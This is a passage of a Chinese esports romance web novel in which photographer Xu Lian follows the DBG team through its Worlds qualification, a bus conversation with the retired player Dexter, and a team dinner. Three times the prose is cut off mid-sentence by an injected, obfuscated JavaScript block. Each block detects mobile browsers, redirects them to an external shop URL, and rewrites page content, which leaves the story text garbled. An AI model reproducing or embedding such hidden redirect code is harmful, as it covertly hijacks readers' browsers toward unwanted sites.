转折点发生在大龙的视野争夺。RT率先布局,占据了有利地形。DBG似乎陷入被动,付直的走位被不断挤压。 许恋的心也跟着一紧,她眉头紧皱着,心里已经开始想等下比赛结束要怎么安慰付翊均了。 就在所有人都以为DBG要放弃争夺时,Attachment操控的皎月女神黛安娜,借着地形的掩护,在一个不可能的位置出现,直接切入RT阵型的核心! 技能特效瞬间炸裂,RT的输出位甚至没来得及交出保命技能,血条就光速消失。 “他进去了!我的天!Attachment直切后排!秒了!ADC倒了!”解说声嘶力竭的呐喊响彻了整个场馆。 RT的阵型因为AD的死亡而出现致命混乱。DBG不仅打赢团战,更顺势收下大龙,经济差瞬间拉开。 接下来DBG的推进势如破竹,没有给对手任何喘息的机会。 最终,RT的主水晶在DBG五人的围攻下轰然爆炸。随即,属于DBG的欢呼声轰然响起。 付翊均直接摘掉耳机,欢呼的声浪瞬间涌入他的耳朵。他缓缓呼出一口气,随后他的目光下意识地,越过闪亮的舞台,落到了某一个镜头上。 镜头后的许恋先是疯狂按下快门记录这一瞬间,而后从镜头后露出头来,她眼里的笑意即使隔着大半个舞台,也能精准的感染到付翊均。 他在今天第一次,露出了轻松的笑容。 结束比赛后的DBG队员齐聚休息室,索言看着眼前紧绷的几人,有些好笑,“你们赢了比赛怎么还这么紧张?” “他们害怕你们会因为四把的失误,撤销对DBG投资的想法。”付翊均淡然的解释。 比DBG战队粉丝更爱DBG战队的,是他们本人。 他们五人磨合了两年,虽说状态不稳,但互相之间信任感十足。 他们都不愿看见DBG被打散。 索言的视线落在了今天最为亮眼的打野选手,Attachment身上,眼中有些赞赏。 他的视线一一掠过其他几人,嘴角荡起一丝笑意,“你们今天就算失败,我也会投资DBG。” 他顿了一顿,继续说:“你们现在的梦想,也是我曾经的梦想。” “所以你们放心去打吧。” Pipi大胆的问:“您曾经也想当职业选手吗?” 索言没有想隐瞒什么,他眼里的笑意加深,带着一丝释怀:“嗯,现在依旧对英雄联盟保持着热爱。” “在你们看来,或许会觉得我是无情的投资者。”他扫过众人,继续说:“但其实,我只是想维护我曾经的热爱罢了。” 或许是同样的热爱让索言拉近了与队员之间的距离,Titi大胆地问向角落里的索德:“那Dexter呢?” “Dexter还热爱着英雄联盟,还想打比赛吗?” 索德抬眸,眼神坚定地说:“当然。” 有队员因为他的回答惊呼,连一向沉稳的付翊均眼中也闪过一丝讶异。 他眼角弯弯,“期待与你们在赛场相遇。” 这一句,几乎是把他要复出的消息传给了在场的所有人。 8. 第八个恋想 第二天依旧是DBG的比赛,对战OBS。 只要拿下今天的比赛,他们就能进入世界赛了。 往常只讲究舒适的许恋,带着某些不为人知的小心思,早早起床给自己化了个小妆。 今天她负责后台拍摄的任务,带着相机来到DBG休息室门口时,他们休息室的门大开着,气氛却有些紧绷。 昨天其乐融融的选手们,此刻都沉默着听教练讲话。 见许恋出现在门口,教练拍了拍付翊均的肩:“总之不要太有压力,我相信你的指挥。” 随后便放队员缓一缓情绪。 许恋站在门口踮着脚在休息室内环顾了半天,她看见了所有人的身影,包括索言。 可唯独,少了她最想见的人。 “别找了。”清冽的声音从身后传来,是付翊均。 他递来一瓶水,看着她精致的妆容,撇开眼,“他今天没来。” 许恋的表情紧接着失落下来,“啊……为什么?” “昨天他在场,Titi太激动了,发挥不稳。”他打了个哈欠,才缓缓说:“索总就没让他来。” “好吧……” DBG和OBS的对局很快开始。 第一局比赛OBS拿到了前期阵容,一路滚雪球将这一把拿下。 DBG这边的氛围在这一把后更加的紧绷,许恋这一次都不敢找他们说话,远远地拍了几张照片便在休息室门口等着。 她想再和付翊均说一句加油。 他说过,感觉到累了或者坚持不下去的时候,只要有朋友的一句“加油”,就能获得力量。 突然DBG休息室的门被推开,索言拿着一个白色充电宝,正和李航低声交谈:“索德在……得给他送过去。” 听见索德的名字,无精打采的许恋瞬间站直,目光直直地往谈话的两人看去。 李航表情有些纠结,回头看了看休息室的情形,他回道:“那我等第二局开始吧,现在走不开。” 许恋没有思考,几乎是下意识举起手:“我去送。” 索言愣了愣,他先是叫了许恋的名字,借着迟疑地说:“你还有工作呢,不方便。” 许恋摇了摇头,“没关系的,我来得及。” 说着低头看了看时间:“我刚刚已经拍摄了很多素材,官号大多发的都是赛场上的照片,休息室素材能利用的很少。” 索言想到索德现在的处境,自己等下有个临时的线上会议,实在也是走不开。 于是将手中的充电宝递给了许恋,“他在停车场的大巴上,麻烦了。” “好。” 场馆停车场内的大巴车门虚掩着。 许恋脚步轻盈,扶着车门踏上台阶的瞬间就看见了索德。 他坐在第一排靠窗位置。 他的侧脸在昏暗的车厢内,只能看见一个若隐若现的轮廓。 听见声响,他转过头来,两人的视线在空中相撞。 他正举着手机贴在耳边,对视的那一秒,他将食指竖在唇边。 许恋瞬间停住动作,噤了声。 “吃过了。”他的声音淡淡,平淡地回复电话那头的话:“嗯……不累。” 许恋整个人僵在大巴车的台阶上。 脑海里思绪满天飞,这是……在和女朋友打电话吗? 她突然觉得耳朵发烫,像是听见了什么不该听的东西。 想下车。 “考研再说吧。”他垂下眼睫,右手无意识地摩挲着窗帘的流苏,“专业课能跟上,您别担心。” 听见“您”这个称呼后,许恋刚刚混乱的心,瞬间平静了下来。 看起来不是女朋友,更像是他家人。 她无意识地松了一口气。 索德顺势看了过来。 车内除了索德说话的声音十分安静,安静得许恋能听见电话那头的声音。 是一个严肃冷静的女声,听起来,应该是索德的妈妈。 考研、图书馆、明年实习…… 每一个词她都很熟悉,但用在索德身上,又十分陌生,这些词将他拼出一个完全陌生的形象:大学生。 可他昨天还对着,关于他是否要复出的问题给出了肯定的回复。 “好,您也注意身体。”他忽然抬起手,朝她的方向招了招。 索德的手五指修长,骨节分明有力量,关节处还是粉粉的。 许恋的心跳漏了一拍,她拿着充电宝往前,走到了他的身边。 他依旧摊开手,手指又勾了勾。 许恋顺着他停在自己身上的目光望去。 哦对,她是来送充电宝的。于是急忙将自己手中的充电宝递给他。 他眼角蔓延一丝笑意,无声地对她说:“谢谢。” 离得近了,电话那头的声音也愈发清晰。 “不想考研就回来考教资当老师,别像你哥一样,钱赚得多有什么用,都没时间回家……” 索德的眉头紧皱在一起,他似乎不喜欢听这样的话,随口打断:“再说吧,我去洗澡了。” “好,少吃点外卖啊。” “嗯。” 通话结束,大巴车内瞬间安静下来。 许恋在与他隔了一个过道的座位上坐下。 沉默蔓延了好一会,她才迟疑地开口:“你……你还在读大学?” 不怪她疑惑,读大学和职业电竞选手并不是两个可以并行的身份。 索德将手机充上电,看着手机里仅剩的3%的电量变为充电中。 “算是吧。”他只应了一个音节,随后便看向窗外。 许恋心中顿时产生了很多问题,可看着他沉默的侧影,他此时心情看起来并不好。 她想要接近他的心,平复下来。 下次吧,等他下次心情好的时候再问。 于是她起身,站在过道上深吸一口气,“那我先去工作了。” 随后便下了大巴车的台阶。 在她踏下最后一步时。 “许恋。” 她听见了索德叫她的名字。 这是他第一次叫她的名字,这样的认知,让许恋的心跳再一次跳动起来。 她收回脚步,回头,对上他垂下来看自己的目光。 索德的喉咙滚动一下,空气凝固了片刻,才缓缓开口:“我想要拿冠军,是错事吗?” “不是。”她的回答没有犹豫,简短而坚定。 “如果我实现梦想,需要欺瞒家人……我还要坚持吗? 许恋彻底转过身,她往上走了一个台阶,回到了他旁边的过道处。 此刻,他们俩之间一贯的高度差变了。 这一次,需要索德仰头看她。 许恋微微吸了口气,空气中弥漫的压抑因此流动了一瞬。 “你不需要为了觉得对或错去选择其一。” “你只需要问自已,在十年后的某个夜晚,你独自醒来,此刻放弃了这个梦想,那份失去的悔恨;和你此刻必须撒一个谎的愧疚……哪一个,更能让你活得下去?” 然后,她向前倾身,目光笔直地望进他眼底那片挣扎,“最重要的是,你的天赋和黄金时期只在此时有。” 话音落下最后一个音节,许恋没有等他的回答,转身就走。 在她下车感受到晚风的一瞬间,她耳边的世界终于清净下来。 快步跑回场馆,她靠着冰凉的门板,终于允许自己脱力般地大口呼吸。 和他说这么多话,实在太消耗她的能量了。 谁懂啊!她在心里无声地呐喊。 刚刚她必须用全部的意志力去压抑自己声音里的颤抖,压住那吵闹而又几乎要破胸而出的心跳声。 大巴车上的索德,还维持着刚才的姿势。 几秒后,一声极轻的笑,从他喉间逸了出来。 空气中,一股淡淡地蜜桃香浮动在他的鼻息。 从许恋刚刚上车时就出现了,此刻她走后,这道香味反而愈发浓郁。 他闭上眼睛,深深地吸了一口气,脑海中,她刚刚的话语一字一句的在脑海里盘旋。 - 随着OBS基地水晶的轰然破碎,紧接着,是整齐的声浪——DBG!DBG!DBG! 解说台上,解说的声音已经嘶哑,却还在用尽全力地说:“赢了!DBG以三比二的比分,让二追三!鏖战五局,逆转乾坤,终于抓住了最后一张通往世界赛的门票!最后一个操作,最后一场团战,最后一滴血!让我们记住这个夜晚!三年前,他们是全球总决赛的亚军;两年来,他们经历了核心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206450|197363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离队、连败、质疑、乃至嘲讽……多少人曾说,DBG的时代已经过去了?但今夜,这群平均年龄最年轻的战队,用最滚烫、最血性的方式宣告:我们回来了!重返全球总决赛的战场!欢迎回来,DaybreakGaming!” 后台通道里,隔音门一关,刚刚的喧嚣片刻便成了闷雷般的背景音。 “我们做到了!我的妈!我真的做到了!”Pipi回到休息室,一把放下自己的设备,将自己狠狠地摔在休息室的沙发上。 付翊均站在休息室门口,他背靠着冰凉的墙壁。他仰着头,喉结上下滚动,闭着眼,胸口还在剧烈起伏。 他感觉到有人重重撞了一下他的肩膀。 Sea此刻眼睛通红,“均哥,”他声音沙哑得厉害,“最后那一波,谢了。” 最后一波,没有任何位移技能的Sea被对面打野突脸。当时作为全队最大的输出点,要不是付翊均挡在了他身前,说不定现在他们就不是这样了…… 付翊均摇摇头,“帮你也是在帮我。” “反正都赢了,别在这里分责任了!”Pipi走出来,揽过Sea。 其他队员围了过来,拳头碰拳头,肩膀撞肩膀,语无伦次地说着话,笑着,有人开始抹眼睛。 这是他们拼尽一切才换来的,从春季赛的踉跄,到夏季赛的低迷,直至冒泡赛最后一搏。 喜悦的声浪中,付翊均的目光却越过了队友们的肩头,落向走廊尽头那片略微昏暗的区域。 那里,许恋正那准相机对准他们。 她穿着场馆工作人员的黑色短袖衫,胸前挂着蓝色的工作证,长发在脑后简单束成低马尾,几缕碎发落在白皙的颈边。 她最简单的样子,在他眼里,是那样的耀眼。 有队友注意到了她,一向抠门的Pipi连忙说:“Destin!等会一起去聚餐啊!我请客!!” 付翊均收回目光,哼笑出声。他的肩头撞了撞Pipi,“就你那点工资,我来请吧。” Sea皱着眉对Pipi说:“就是啊,你交了医药费之后身上能剩多少钱,轮不到你请。” Pipi这下真的要哭了,眼泪就势要流下来。 Titi见状慌了神,“哎!你别哭啊,我们是想多吃点奶奶做的鱼糕。” 许恋对着这一幕,按下快门键。 “你们放心吧,轮不到你们请客。”索言从另一侧的通道走来,接过话茬。 有工作人员跑来催促他们:“都准备好了吗?需要换出征服,参加出征仪式了!” 聚在一起的DBG队员一哄而散,身影消失在通道里。 索言站在原地,看着远处的许恋,“许小姐,等会一起吃饭啊。” 许恋犹豫了一会。她很想,但她怕这只是人家跟她客气一下,最终还是轻轻点了点头。 通道尽头,主舞台方向,传来了主持人预热场地充满激情的声音,还有观众席隐隐传来的、越来越高的期待声浪。 属于他们的出征时刻,到了。 今年参加S赛的四支战队分别是:冠军CCW战队、除冠军外全年积分最高的OGD战队、前天的胜者PSL战队、以及今天的胜者DBG战队。 四束光,四种姿态,四支队伍,在此刻集结。 他们在LPL互为对手了一整年,现在,他们要共同代表LPL出征S赛。 主持人饱含激情的声音响彻场馆:“至此,LPL赛区征战全球总决赛的四支战队,全部集结完毕!他们将承载赛区的荣耀与亿万召唤师的期望,远赴重洋,剑指巅峰!此去征程万里,愿你们,锋芒所向,无人能挡!” 音乐在这一刻推向最高潮,所有灯光全开,金色的彩带洒落,穿过灯光,落入舞台。 台下,万人齐呼,声浪汇聚成海。 台上的选手们,在摄影结束后,按照既定的线路,在工作人员的示意下有序退场。 等选手退场后,许恋没有随其他工作人员一起涌向后台,她带着她的相机,回到了刚刚见证了整个出征舞台的主舞台区。 她在舞台边缘停下,缓缓蹲下身,垂眸看着地面上散落的金色彩带。 过了一会,她才伸出手。捧起起一撮彩带,小心翼翼地放在准备好的透明塑封袋中。 9. 第九个恋想 许恋出场馆时,DBG的队员正在给等他们下班的粉丝签名。 本想埋头从他们身后走过。 “Destin。”突然有一道女声叫住她。 她抬眸望去,是一个看起来与自己年纪相差不大的女生。 女生扬了扬手中的笔纸,“您可以给我签个名吗?我很喜欢您拍摄的照片。” 这是第一次,在比赛结束后,有人问她要签名。 她微微睁大眼睛,有些不确定的指了指自己。 女生带着浓厚地笑意点了点头,“我专门等你下班的。” 都这么说了,许恋抬脚走近她,隔着栏杆接过了她的笔纸。 但没想到,她递给自己的竟然是索德的照片,那张他把玩打火机的照片。 她想要签名的手顿住了。 “Dexter是我最喜欢的选手,而我又通过这组照片了解到了你,所以我个人觉得你签名在这张照片上对我的意义很大。你要是介意的话我这里有别的……” “没事。”许恋悬停在照片上方的手又动了起来,在上面签上了自己的ID:Destin。 签完名后,许恋将手中的照片递还给了那个女生。 她的唇角荡开一抹笑,轻声说:“谢谢你的喜欢。” 面前的女孩在听见她的话后,眼里瞬间明亮起来。 她本来还想说些什么,可看见许恋转身的动作,又将那些疑惑收回到心里。 许恋原本是想转身就走,视线抬起时,看见了几步外的大巴车门前的索言。 她下意识抬头,看向了大巴车的前排。前排所有车帘全都严实的垂落下来,让人看不清大巴内的场景。 许恋抬起的脚无声地收了回来。 她转向看着仍旧关注着她的女生,弯了弯嘴角,忽然扬声问:“你还喜欢Dexter吗?” 女生显然没想到她还会和自己说话,有一瞬间的错愕和茫然,回答时甚至因为紧张有点结巴:“当……当然了!” 不远处,索言在听见自己弟弟的ID后,抬起了眼。 他所看见的,是许恋和一个完全陌生的女生在对话。 没有想偷听的意思,只是他们之间的距离太近,那个女生回答的声音清晰的落入他的耳中。 “他那么耀眼,即使消失于人海,也让人难以忘怀。” 是啊,有的人只需要一眼,就再也忘不掉了。 许恋的目的达到了,她注意到大巴车上遮盖的窗帘有飘动的痕迹。 她就是想借粉丝这样的一句话,让他知道,有多少人还在等待着他的出现。 面前的女孩话题忽然一转,“Destin,我真的相信你不是会为了热度拍那些照片的人。” “你没有发澄清之前我就在疯狂替你说话。” 或许是害怕许恋不太想听这些,她顿了顿,最终轻生说:“我很喜欢你照片里表达的故事和情绪,你才不是会为了热度什么都拍的人呢。” 许恋觉得心头一软,她点了点头,柔声而真挚道:“谢谢你。” 临走前,她下意识扫过人群,目光瞬间被一抹熟悉的身影,带到了远处的昏暗处。 “碎碎!”一股毫无防备的喜悦从她心底深处蔓延。 她甚至下意识走近付翊均,拽了拽他的胳膊,“我看见碎碎了!” 付翊均成为电竞选手后,樊榆雅一有空就会来看他的比赛,即使只是一场普通的常规赛她也会尽力赶来。 大概是在两个月前,许恋发现她不怎么来看比赛了。 为了这事还问过她,她只说自己最近在家里的公司实习,很忙,所以没空来。 而此时她的出现,对许恋来说无疑是巨大的惊喜。 因此,她没有注意到,付翊均在听见樊榆雅的名字后,身体僵了一下。 远处的樊榆雅很显然早就看见了他们。 在许恋叫住自己时,她产生了逃避的心思。但在许恋的注视下,她的脚步犹豫再三,还是走了过来。 她们之间隔着场馆为了保护选手设置的隔离栏。 但不妨碍两个女生的亲近。 “你怎么来了也不跟我说呀!我好久没看见你了!” 樊榆雅弯了弯嘴角,“这周没课,想着今天有比赛,就来看看。” “那你等我,我们一起去吃饭。”许恋兴致冲冲,想要绕一大圈去和栏杆那边的樊植雅汇合。 要去找樊榆雅,还得先绕过DBG的大巴车。 “许小姐。”路过大巴车时,索言叫住了她。 她停住脚步,不明所以的看向了几步外的索言。 “我们要去聚餐,一起吗?” 他话音落下时,在许恋身后的付翊均也听见了这句邀请。 他握着签名笔的手紧了紧,目光低垂,落在了许恋犹豫的身影上。 往常比赛结束后遇上了,她经常会参加DBG的赛后聚餐。但今天情况不一样,有投资人在,她并不确定自己是否应该存在于这场聚餐。 这也是她刚刚在后台犹豫的原因。 突然,她连帽卫衣的帽子被人从后轻轻地扣在了她头上。 付翊均从她身后走过,接过了另一个粉丝递来的手幅低头签名。 他的声音落在她耳边:“想吃就上车。” “这不是客套话。”索言也笑了笑,他眼里有着坦然的笑。“是真的挺想邀请你参加我们的聚餐。” 索言还看了远处的樊榆雅一眼,“带上你朋友一起呀,人多热闹。” 许恋最终扭捏地走向樊榆雅,为了避免周边的粉丝听见,她凑近在樊榆雅耳边说:“你要不要和DBG战队一起去聚餐?索德也在……” 樊榆雅顿了顿,抬眼看着不远处还在签名的付翊均,又看了看眼里有期待的许恋。 那句到了嘴边的推辞,终究没有说出口。 许恋先一步带着樊榆雅上了大巴。 与大巴外簇拥与喧嚣的人群相比,大巴车内十分寂静。 只有索言在与管理层低声交流的声音。 索德独自一人坐在原本的位置,就像一整个晚上都没有动过一样。 听见车门口的动静,他的视线从低垂到平视,正对上刚踏上车的许恋。 许恋的脚步顿了顿,她压低声音对身后的樊榆雅说:“这个就是Dexter。” 索德离她们很近,这点声音根本没逃过他的耳朵。 他听见自己的ID,于是看了过来,嘴角上扬一个恰好的弧度:“你好,我是Dexter索德。” 两个女生都没想到他会搭理她们,樊榆雅先反应过来,她自我介绍着:“你好,我叫樊榆雅,是许恋的好朋友,久仰大名。” 说完,她又侧头对着许恋说:“我知道的,不就是你……”她还没说完,就被许恋捂住了嘴。 “对。”许恋接过话头,目光飘忽不定,“就是我之前,很欣赏的选手哈哈……” 语气里的心虚显而易见,慌乱的她拉着樊榆雅坐在了索德后方的位置。 索德在她入座后,嘴角悄悄上扬,露出一丝不易察觉的笑意。 平复好自己的心跳后,许恋转向身边的好友。 “说说吧。”她的声音很轻,“你到底为什么这么久没来看比赛?今天来看也不和我说?” 她不是马大哈,她察觉到了樊榆雅最近有点不对劲,可她没说,自己也不好问。但是竟然让她抓到她一声不吭的来看付翊均比赛,这就有了问的话头。 樊榆雅眼底闪过一丝猝不及防的慌乱。 她几乎是本能地将脸转向车窗,假装被外面的场景吸引。 “我是看昨天DBG赢了,今天没有课,临时飞来看的。”这句话没骗她。 “然后……嗯……最近,喜欢上了一个学长。”樊榆雅的声音飘忽,“在追他,所以……就没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206451|197363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么有空来看比赛了。” “什么?!” 许恋的音量没控制住,在寂静的车厢里显得格外突兀。她赶紧压低声音,但脸上的震惊却掩不住。 “为什么我一点都不知道?”她盯着她,有点生气:“樊榆雅,我还是不是你最好的朋友了?” “不是的,不是故意不告诉你。”樊榆雅瞬间急了,五官都皱在一起想着怎么解释:“我也是最近……才确定自己的心意。” 最近? 许恋的眉梢微微挑起,目光变得探究起来:“最近是多近?” 樊榆雅垂下眼,她似乎在计算,又像在犹豫。半晌,才轻声说:“两个月前认识的……前几天,才真的确定下来。” 两个月前、前几天。 这个时间点恰好在是她不来看付翊均比赛开始,逻辑成立。许恋被说服了,那股小小的气恼迅速被熊熊燃起的八卦心取代。 “啧啧。”她撞了撞樊榆雅的肩膀,“难得呀,你现在心动都有个确定过程了。” 学生时代的樊榆雅可谓是十分花心,见一个帅哥就能立马心动。比如前几天可能喜欢的是阳光学长,后一天心动对象就能变为阴郁学弟。 在许恋还不懂爱情的时候,她已经把十二星座的帅哥都心动一遍了。 樊榆雅见她信了,紧绷的肩膀微微松弛下来,赶紧点头:“嗯呢,现在……长大了嘛。” 话音刚落,大巴车门口再次传来动静。 DBG的选手们鱼贯而入,带着嘈杂和一股蓬勃的生气。 走在最前面的付翊均刚踏上台阶,就被许恋喊住:“付翊均!坐我们后面!” 许恋就是觉得他们仨很久没有聚在一起了,想亲近亲近彼此的关系。 付翊均闻声抬眼。 他的目光先落在许恋身上,她正笑着朝他挥手,眼睛弯成月牙。然后,落在了她身旁的樊榆雅身上。 四目相对的瞬间,樊榆雅先一步低下头。 付翊均的眼神顿了顿。他没有说话,只是沉默地点了点头,听话地坐到了她们的后排。 大巴缓缓启动,驶离场馆,汇入城市的车流。 索德拉开遮挡严实的窗帘,任由城市的风景在窗外穿梭而过。 许恋注意到了他的动作,她微微侧过脸,将目光落在他旁边的车窗上。 窗上有他模糊的影子。 他看起来,心情好了不少。 许恋悄悄松了一口气。 后排有人问许恋:“Destin,世界赛你会去吗?” “瑞士轮和四分之一决赛的时候去不了,决赛和半决赛应该可以。” 今年英雄联盟S赛的举办地在加拿大,她早早办了签证。只不过她那段时间学校安排外出采风,S赛开始前期不好请假。 Pipi又问:“你这样又上课又工作的,累吗?” 许恋现在是LPL的实习赛事摄影,但同时她还是一名大三学生,需要兼顾上课和工作。 刚开始的两个月,因为是暑假,她自然有时间全身心投入。 这次决赛和冒泡赛还是和辅导员请假了几天才能来的。 可接下来的世界赛,恰逢学期中,除了专业课,她还有其他的课程需要考试。 权衡之后,她无法参加全程的世界赛,只能选择课程较少且赛程比较重要的决赛和半决赛。 “你还是学生啊?”前一排的索言听见对话,转头看了过来。 许恋望去,目光停在了他身侧的索德,他也朝她看了过来。 许恋下意识紧紧地抓住相机。 “嗯,大三了。” “真厉害。”索言啧啧点头称赞。 才不厉害呢,许恋在心底说。 她的目光落在索德的后脑勺上。 比不上有的人,游戏打得那么厉害也就算了,还在当了一年电竞选手之后,回去就上半学期的课都能考上大学。 10. 第十个恋想 车厢内继续谈论着其他话题,Pipi突然举着手机低呼:“天哪!Destin,你刚发的那条微博火了!热度窜得好快!” 在出场馆前,许恋紧急P好并发了出征仪式开始前,抓拍DBG队员的那张图。 “但是,怎么都是夸ATM的啊!” ATM是付翊均在电竞圈的花名,取自ID里Attachment三个字母。一开始是黑称,他刚上场时状态不稳定,老是送一波大人头,于是被人喊做:ATM。 后来状态稳定,很少出错,加之队友都说他喜欢请客,叫他少爷。这个称号也就从贬义的黑称变为了褒义的花名。 照片里的DBG队员们,就那样自然而然地聚在门口。走廊的灯光是暖黄色的,打在每个人喜悦的脸上。 付翊均站在最中间,他是唯一一个看向镜头的人。光影将他挺拔的鼻梁和下颌线勾勒得分明,嘴角噙着一丝若有似无的笑意。 身后的Pipi抬手抹着眼睛,Sea揽住他,Titi只留了一个侧脸,而上单MO只留了一个背影。 背景是略显杂乱的走廊,“休息室”的指示牌只拍进一半。 但就是这种不加修饰的真实,让整张照片充满了生命力。 许恋为这张照片配文:【快门按下只需0.1秒,但有些瞬间会停留一生。今夜的故事是:旧的篇章落幕,新的征途启程。热血未冷,少年依旧。】 Pipi滑动屏幕,语气夸张的开始念:“C位的是谁?真的是电竞选手吗??我还以为是在片场拍电竞题材的男主角!!!” 说完还吐槽,“好夸张,yue。” 付翊均回头看向他,难得地调侃,“难道我还当不上男主角?” “额……”Pipi看了看他,又看了看第一排索德的背影。 意思显而易见:如果只有你的话,你确实配。但是现在,有比你更帅一分的。 见付翊均的眼刀杀过来,他赶忙转移话题;“诶诶诶,这有夸Destin的!” “好奇怪,明明是一个我不了解的领域,却通过一张照片感受到了强烈的情绪和故事,摄影师好牛!” “牛!”其他的队员开团秒跟,纷纷吹起许恋的彩虹屁来。 许恋昂了昂头,骄傲地接受他们的夸奖。 Pipi又翻了一会,念了另一条评论:“看到这张照片真的哭了[泪]还记得去年低谷期他们从后台走出来时垂头丧气的样子,现在终于又看到了胜利的笑容。” “呜呜呜,我就应该看这样的评论。” 坐在Pipi旁边的Titi实在是受不了他夸张的表演,踹了他一脚,“神经病吧你。” 付翊均也拿起手机点开微博,他略有些惊讶地挑了挑眉。这哪是有点热度,许恋的那条微博简直称得上是爆火的地步了。 他微博粉丝这一会就涨了1.2w。 一直没有参与聊天的索德突然转头,看向许恋,“你微博名叫什么?” 许恋顿时懵了,她没料到他会问这个。 樊榆雅看了眼许恋,她知道她取这个ID的原因。于是替她接过了话头:“Destin。” 她声音清脆,语速稍快,对索德解释:“宿命的意思。” 怕索德不会拼,又补充道:“D-e-s-t-i-n,Destin。” 索德的目光在樊榆雅脸上停留了一瞬,然后重新落回许恋那里。他几不可察地点了下头,没说什么,转回了身。 许恋下意识观察起索德的动作,她能从窗户反光里看见他拿出手机,手指在屏幕上滑动。 索德已经很久没用过微博了,当初注册微博也是应了俱乐部的要求。他本人对这些社交软件运营并没有什么兴趣。 因此,他还等待了一会,等微博下载完成,他才点开。 手机号一键登录,他的账号显然荒废已久,上一次转发还是三年前某场比赛的赛事链接,头像是他当时最爱的英雄——戏命师·烬。 粉丝数依然庞大得惊人,但他没有在主页多停留。他几乎没有犹豫,在搜索栏输入:Destin。 她很好认,头像就是她本人的背影。 在看见她主页置顶微博的时候,索德的动作突然停住了。 那是三年前的他。 配文是他当时所说的:【没有冉冉升起的新星,只有陨落的梦想。】 这条微博下的评论和转发量以万为单位。 索德不由自主地点开评论区,因为时间久远,评论自动按照最新的评论排列。 第一条是:有生之年竟然让我等到Destin再一次拍了Dexter!! 他继续往下滑,大部分都是来打卡的。 也有人说:又刷到这组照片,好想再看这样意气风发的D神打比赛啊。 这条评论发布的时间在两个月前。 退出评论区,他下意识拿这条微博与许恋新发的那条微博对比,看见数据远远不比自己的这条,满足地勾了勾唇。 而她新发的微博之后的下一条,就是她发布的澄清微博。 【原来全世界的水真的会重逢,所以那一天,我重逢了他。】 配图是一张他的背影,一张照片的信息截图。 这真是……与众不同的澄清啊。 他的目光长久地落在那一句话上。 他没有点赞,没有转发,甚至没有点开大图仔细看。 最终,他点击了右下角那个橙色渐变的“回关”按钮上。 然后,他锁屏,将手机倒扣在腿上。 - DBG战队聚餐一向都是火锅,这次也不例外。 入座时,众人都很有人情世故的将主位让给了索言和索德。 许恋带着樊榆雅则靠着最熟悉的付翊均坐着。 包间里的桌子是长方形的,她与索德坐在同一侧,中间隔了四个人。 作为来蹭饭的许恋尽量降低存在感,点菜时也是抱着水杯喝水。视线借着听索言说话偷偷的掠过索德。 放在十天前,她是绝对想不到,自己此刻能和索德在同一个饭局上,能离他这么近。 “付队,你怎么又点这么多素菜。”Pipi看着付翊均滑溜了一大串素菜,抱怨道。 索言乐道:“倒也不必为我省钱哈哈。” 付翊均没抬头,修长的手指仍在平板上滑动,又加了份山药。 而后才漫不经心的回答:“有人喜欢吃。” 正在喝水的许恋默然片刻,她侧头对身侧的付翊均低声说:“……你别给我点那么多。” “嗯。”他低声应道,随口解释:“我自己也想吃。” 许恋反驳:“骗谁呢?” 付翊均喜欢吃素菜,那猪都能上树了。 “你真别点那么多,我又吃不完。” 付翊均听见后笑了,只是瞥了她一眼,许恋瞬间心虚了。 他说:“我会不知道你喜欢什么吗?” 这句话话音落下时,付翊均点菜的动作一顿,悄然看向了长桌那段的索德,心底微微发酸。 此刻,他真讨厌自己比许恋自己还要了解她的这个毛病。 “哎哟,好贴心呀付队,人家也想要你帮我点菜~”Pipi捕捉到这细节,挤眉弄眼地拖长了音调。 付翊均哼笑一声,“少阴阳怪气。” 坐在桌子另一角的索德忽然抬起眼。 他的目光越过饭菜蒸腾弥漫的热气,落在许恋与付翊均两人之间的距离上。 这一眼,没有逃过索言的眼睛。 他的弟弟,对世界上除了游戏以外的东西都看得很淡,从来不会对不在意的人和物多看一眼。 可是,他已经见过他两次将眼神停留在同一个女孩身上。 在又一波笑声稍歇的间隙,索言的声音没什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17206452|197363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 预兆地响起,不高,却可以让包厢内瞬间静了几分。 “许小姐和Attachment好像很熟?”他顿了顿。 眼角弯弯,带着一丝调侃的笑意,视线笔直地投向许恋,“是男女朋友吗?” 所有人的目光都因为他这一句话,在许恋与付翊均之间晃动。 “咳——咳咳……”许恋咬着半片藕,猝不及防,辣气猛地窜进喉咙,呛得她顿时脸涨得通红,眼泪都涌了出来。 她抓过一旁的水猛灌几口,好不容易顺过气,抬起湿漉漉的眼睛,声音里还带着难以置信的急切:“我怎么可能和他是男女朋友!” 